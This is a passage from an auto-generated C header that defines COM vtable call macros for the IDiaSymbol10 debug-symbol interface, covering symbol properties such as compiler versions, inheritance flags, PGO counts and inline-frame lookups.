IDiaSymbol10_get_frontEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol10_get_frontEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol10_get_backEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMajor(This,pRetVal) ) \n\n#define IDiaSymbol10_get_backEndMinor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndMinor(This,pRetVal) ) \n\n#define IDiaSymbol10_get_backEndBuild(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndBuild(This,pRetVal) ) \n\n#define IDiaSymbol10_get_sourceFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sourceFileName(This,pRetVal) ) \n\n#define IDiaSymbol10_get_unused(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unused(This,pRetVal) ) \n\n#define IDiaSymbol10_get_thunkOrdinal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thunkOrdinal(This,pRetVal) ) \n\n#define IDiaSymbol10_get_thisAdjust(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_thisAdjust(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualBaseOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtual(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtual(This,pRetVal) ) \n\n#define IDiaSymbol10_get_intro(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intro(This,pRetVal) ) \n\n#define IDiaSymbol10_get_pure(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_pure(This,pRetVal) ) \n\n#define IDiaSymbol10_get_callingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_callingConvention(This,pRetVal) ) \n\n#define IDiaSymbol10_get_value(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_value(This,pRetVal) ) \n\n#define IDiaSymbol10_get_baseType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_token(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_token(This,pRetVal) ) \n\n#define IDiaSymbol10_get_timeStamp(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_timeStamp(This,pRetVal) ) \n\n#define IDiaSymbol10_get_guid(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_guid(This,pRetVal) ) \n\n#define IDiaSymbol10_get_symbolsFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symbolsFileName(This,pRetVal) ) \n\n#define IDiaSymbol10_get_reference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_reference(This,pRetVal) ) \n\n#define IDiaSymbol10_get_count(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_count(This,pRetVal) ) \n\n#define IDiaSymbol10_get_bitPosition(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_bitPosition(This,pRetVal) ) \n\n#define IDiaSymbol10_get_arrayIndexType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_packed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_packed(This,pRetVal) ) \n\n#define IDiaSymbol10_get_constructor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constructor(This,pRetVal) ) \n\n#define IDiaSymbol10_get_overloadedOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_overloadedOperator(This,pRetVal) ) \n\n#define IDiaSymbol10_get_nested(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_nested(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasNestedTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasNestedTypes(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasAssignmentOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAssignmentOperator(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasCastOperator(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasCastOperator(This,pRetVal) ) \n\n#define IDiaSymbol10_get_scoped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_scoped(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol10_get_indirectVirtualBaseClass(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_indirectVirtualBaseClass(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualBasePointerOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBasePointerOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualTableShape(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShape(This,pRetVal) ) \n\n#define IDiaSymbol10_get_lexicalParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParentId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_classParentId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParentId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_typeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_typeId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_arrayIndexTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_arrayIndexTypeId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualTableShapeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualTableShapeId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_code(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_code(This,pRetVal) ) \n\n#define IDiaSymbol10_get_function(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_function(This,pRetVal) ) \n\n#define IDiaSymbol10_get_managed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_managed(This,pRetVal) ) \n\n#define IDiaSymbol10_get_msil(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_msil(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualBaseDispIndex(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseDispIndex(This,pRetVal) ) \n\n#define IDiaSymbol10_get_undecoratedName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_undecoratedName(This,pRetVal) ) \n\n#define IDiaSymbol10_get_age(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_age(This,pRetVal) ) \n\n#define IDiaSymbol10_get_signature(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_signature(This,pRetVal) ) \n\n#define IDiaSymbol10_get_compilerGenerated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerGenerated(This,pRetVal) ) \n\n#define IDiaSymbol10_get_addressTaken(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressTaken(This,pRetVal) ) \n\n#define IDiaSymbol10_get_rank(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_rank(This,pRetVal) ) \n\n#define IDiaSymbol10_get_lowerBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBound(This,pRetVal) ) \n\n#define IDiaSymbol10_get_upperBound(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBound(This,pRetVal) ) \n\n#define IDiaSymbol10_get_lowerBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lowerBoundId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_upperBoundId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_upperBoundId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_dataBytes(This,cbData,pcbData,pbData)\t\\\n    ( (This)->lpVtbl -> get_dataBytes(This,cbData,pcbData,pbData) ) \n\n#define IDiaSymbol10_findChildren(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildren(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol10_findChildrenEx(This,symtag,name,compareFlags,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenEx(This,symtag,name,compareFlags,ppResult) ) \n\n#define IDiaSymbol10_findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByAddr(This,symtag,name,compareFlags,isect,offset,ppResult) ) \n\n#define IDiaSymbol10_findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByVA(This,symtag,name,compareFlags,va,ppResult) ) \n\n#define IDiaSymbol10_findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findChildrenExByRVA(This,symtag,name,compareFlags,rva,ppResult) ) \n\n#define IDiaSymbol10_get_targetSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetSection(This,pRetVal) ) \n\n#define IDiaSymbol10_get_targetOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_targetRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol10_get_targetVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_targetVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol10_get_machineType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_machineType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_oemId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_oemSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_oemSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_types(This,cTypes,pcTypes,pTypes)\t\\\n    ( (This)->lpVtbl -> get_types(This,cTypes,pcTypes,pTypes) ) \n\n#define IDiaSymbol10_get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds)\t\\\n    ( (This)->lpVtbl -> get_typeIds(This,cTypeIds,pcTypeIds,pdwTypeIds) ) \n\n#define IDiaSymbol10_get_objectPointerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectPointerType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_udtKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_udtKind(This,pRetVal) ) \n\n#define IDiaSymbol10_get_undecoratedNameEx(This,undecorateOptions,name)\t\\\n    ( (This)->lpVtbl -> get_undecoratedNameEx(This,undecorateOptions,name) ) \n\n#define IDiaSymbol10_get_noReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noReturn(This,pRetVal) ) \n\n#define IDiaSymbol10_get_customCallingConvention(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_customCallingConvention(This,pRetVal) ) \n\n#define IDiaSymbol10_get_noInline(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noInline(This,pRetVal) ) \n\n#define IDiaSymbol10_get_optimizedCodeDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_optimizedCodeDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol10_get_notReached(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_notReached(This,pRetVal) ) \n\n#define IDiaSymbol10_get_interruptReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_interruptReturn(This,pRetVal) ) \n\n#define IDiaSymbol10_get_farReturn(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_farReturn(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isStatic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStatic(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasDebugInfo(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasDebugInfo(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isLTCG(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLTCG(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isDataAligned(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isDataAligned(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasSecurityChecks(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSecurityChecks(This,pRetVal) ) \n\n#define IDiaSymbol10_get_compilerName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_compilerName(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasAlloca(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasAlloca(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasSetJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSetJump(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasLongJump(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasLongJump(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasInlAsm(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasInlAsm(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEH(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasSEH(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasSEH(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasEHa(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasEHa(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isNaked(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isNaked(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isAggregated(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAggregated(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isSplitted(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSplitted(This,pRetVal) ) \n\n#define IDiaSymbol10_get_container(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_container(This,pRetVal) ) \n\n#define IDiaSymbol10_get_inlSpec(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_inlSpec(This,pRetVal) ) \n\n#define IDiaSymbol10_get_noStackOrdering(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noStackOrdering(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualBaseTableType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualBaseTableType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasManagedCode(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasManagedCode(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isHotpatchable(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHotpatchable(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isCVTCIL(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCVTCIL(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isMSILNetmodule(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMSILNetmodule(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isCTypes(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCTypes(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isStripped(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isStripped(This,pRetVal) ) \n\n#define IDiaSymbol10_get_frontEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol10_get_backEndQFE(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_backEndQFE(This,pRetVal) ) \n\n#define IDiaSymbol10_get_wasInlined(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_wasInlined(This,pRetVal) ) \n\n#define IDiaSymbol10_get_strictGSCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_strictGSCheck(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isCxxReturnUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isCxxReturnUdt(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isConstructorVirtualBase(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isConstructorVirtualBase(This,pRetVal) ) \n\n#define IDiaSymbol10_get_RValueReference(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_RValueReference(This,pRetVal) ) \n\n#define IDiaSymbol10_get_unmodifiedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_framePointerPresent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_framePointerPresent(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isSafeBuffers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSafeBuffers(This,pRetVal) ) \n\n#define IDiaSymbol10_get_intrinsic(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_intrinsic(This,pRetVal) ) \n\n#define IDiaSymbol10_get_sealed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sealed(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hfaFloat(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaFloat(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hfaDouble(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hfaDouble(This,pRetVal) ) \n\n#define IDiaSymbol10_get_liveRangeStartAddressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressSection(This,pRetVal) ) \n\n#define IDiaSymbol10_get_liveRangeStartAddressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartAddressOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_liveRangeStartRelativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeStartRelativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol10_get_countLiveRanges(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_countLiveRanges(This,pRetVal) ) \n\n#define IDiaSymbol10_get_liveRangeLength(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_liveRangeLength(This,pRetVal) ) \n\n#define IDiaSymbol10_get_offsetInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offsetInUdt(This,pRetVal) ) \n\n#define IDiaSymbol10_get_paramBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_paramBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_localBasePointerRegisterId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_localBasePointerRegisterId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isLocationControlFlowDependent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isLocationControlFlowDependent(This,pRetVal) ) \n\n#define IDiaSymbol10_get_stride(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_stride(This,pRetVal) ) \n\n#define IDiaSymbol10_get_numberOfRows(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRows(This,pRetVal) ) \n\n#define IDiaSymbol10_get_numberOfColumns(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfColumns(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isMatrixRowMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMatrixRowMajor(This,pRetVal) ) \n\n#define IDiaSymbol10_get_numericProperties(This,cnt,pcnt,pProperties)\t\\\n    ( (This)->lpVtbl -> get_numericProperties(This,cnt,pcnt,pProperties) ) \n\n#define IDiaSymbol10_get_modifierValues(This,cnt,pcnt,pModifiers)\t\\\n    ( (This)->lpVtbl -> get_modifierValues(This,cnt,pcnt,pModifiers) ) \n\n#define IDiaSymbol10_get_isReturnValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isReturnValue(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isOptimizedAway(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedAway(This,pRetVal) ) \n\n#define IDiaSymbol10_get_builtInKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_builtInKind(This,pRetVal) ) \n\n#define IDiaSymbol10_get_registerType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_baseDataSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataSlot(This,pRetVal) ) \n\n#define IDiaSymbol10_get_baseDataOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseDataOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_textureSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_textureSlot(This,pRetVal) ) \n\n#define IDiaSymbol10_get_samplerSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_samplerSlot(This,pRetVal) ) \n\n#define IDiaSymbol10_get_uavSlot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_uavSlot(This,pRetVal) ) \n\n#define IDiaSymbol10_get_sizeInUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_sizeInUdt(This,pRetVal) ) \n\n#define IDiaSymbol10_get_memorySpaceKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_memorySpaceKind(This,pRetVal) ) \n\n#define IDiaSymbol10_get_unmodifiedTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unmodifiedTypeId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_subTypeId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subTypeId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_subType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_subType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_numberOfModifiers(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfModifiers(This,pRetVal) ) \n\n#define IDiaSymbol10_get_numberOfRegisterIndices(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfRegisterIndices(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isHLSLData(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isHLSLData(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isPointerToDataMember(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToDataMember(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isPointerToMemberFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerToMemberFunction(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isSingleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSingleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isMultipleInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isMultipleInheritance(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isVirtualInheritance(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isVirtualInheritance(This,pRetVal) ) \n\n#define IDiaSymbol10_get_restrictedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_restrictedType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isPointerBasedOnSymbolValue(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPointerBasedOnSymbolValue(This,pRetVal) ) \n\n#define IDiaSymbol10_get_baseSymbol(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbol(This,pRetVal) ) \n\n#define IDiaSymbol10_get_baseSymbolId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_baseSymbolId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_objectFileName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_objectFileName(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isAcceleratorGroupSharedLocal(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorGroupSharedLocal(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isAcceleratorPointerTagLiveRange(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorPointerTagLiveRange(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isAcceleratorStubFunction(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isAcceleratorStubFunction(This,pRetVal) ) \n\n#define IDiaSymbol10_get_numberOfAcceleratorPointerTags(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_numberOfAcceleratorPointerTags(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isSdl(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isSdl(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isWinRTPointer(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isWinRTPointer(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isRefUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isRefUdt(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isValueUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isValueUdt(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isInterfaceUdt(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isInterfaceUdt(This,pRetVal) ) \n\n#define IDiaSymbol10_findInlineFramesByAddr(This,isect,offset,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByAddr(This,isect,offset,ppResult) ) \n\n#define IDiaSymbol10_findInlineFramesByRVA(This,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByRVA(This,rva,ppResult) ) \n\n#define IDiaSymbol10_findInlineFramesByVA(This,va,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineFramesByVA(This,va,ppResult) ) \n\n#define IDiaSymbol10_findInlineeLines(This,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLines(This,ppResult) ) \n\n#define IDiaSymbol10_findInlineeLinesByAddr(This,isect,offset,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByAddr(This,isect,offset,length,ppResult) ) \n\n#define IDiaSymbol10_findInlineeLinesByRVA(This,rva,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByRVA(This,rva,length,ppResult) ) \n\n#define IDiaSymbol10_findInlineeLinesByVA(This,va,length,ppResult)\t\\\n    ( (This)->lpVtbl -> findInlineeLinesByVA(This,va,length,ppResult) ) \n\n#define IDiaSymbol10_findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsForAcceleratorPointerTag(This,tagValue,ppResult) ) \n\n#define IDiaSymbol10_findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult)\t\\\n    ( (This)->lpVtbl -> findSymbolsByRVAForAcceleratorPointerTag(This,tagValue,rva,ppResult) ) \n\n#define IDiaSymbol10_get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags)\t\\\n    ( (This)->lpVtbl -> get_acceleratorPointerTags(This,cnt,pcnt,pPointerTags) ) \n\n#define IDiaSymbol10_getSrcLineOnTypeDefn(This,ppResult)\t\\\n    ( (This)->lpVtbl -> getSrcLineOnTypeDefn(This,ppResult) ) \n\n#define IDiaSymbol10_get_isPGO(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isPGO(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasValidPGOCounts(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasValidPGOCounts(This,pRetVal) ) \n\n#define IDiaSymbol10_get_isOptimizedForSpeed(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_isOptimizedForSpeed(This,pRetVal) ) \n\n#define IDiaSymbol10_get_PGOEntryCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEntryCount(This,pRetVal) ) \n\n#define IDiaSymbol10_get_PGOEdgeCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGOEdgeCount(This,pRetVal) ) \n\n#define IDiaSymbol10_get_PGODynamicInstructionCount(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_PGODynamicInstructionCount(This,pRetVal) ) \n\n#define IDiaSymbol10_get_staticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_staticSize(This,pRetVal) ) \n\n#define IDiaSymbol10_get_finalLiveStaticSize(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_finalLiveStaticSize(This,pRetVal) ) \n\n#define IDiaSymbol10_get_phaseName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_phaseName(This,pRetVal) ) \n\n#define IDiaSymbol10_get_hasControlFlowCheck(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_hasControlFlowCheck(This,pRetVal) ) \n\n#define IDiaSymbol10_get_constantExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constantExport(This,pRetVal) ) \n\n#define IDiaSymbol10_get_dataExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataExport(This,pRetVal) ) \n\n#define IDiaSymbol10_get_privateExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_privateExport(This,pRetVal) ) \n\n#define IDiaSymbol10_get_noNameExport(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_noNameExport(This,pRetVal) ) \n\n#define 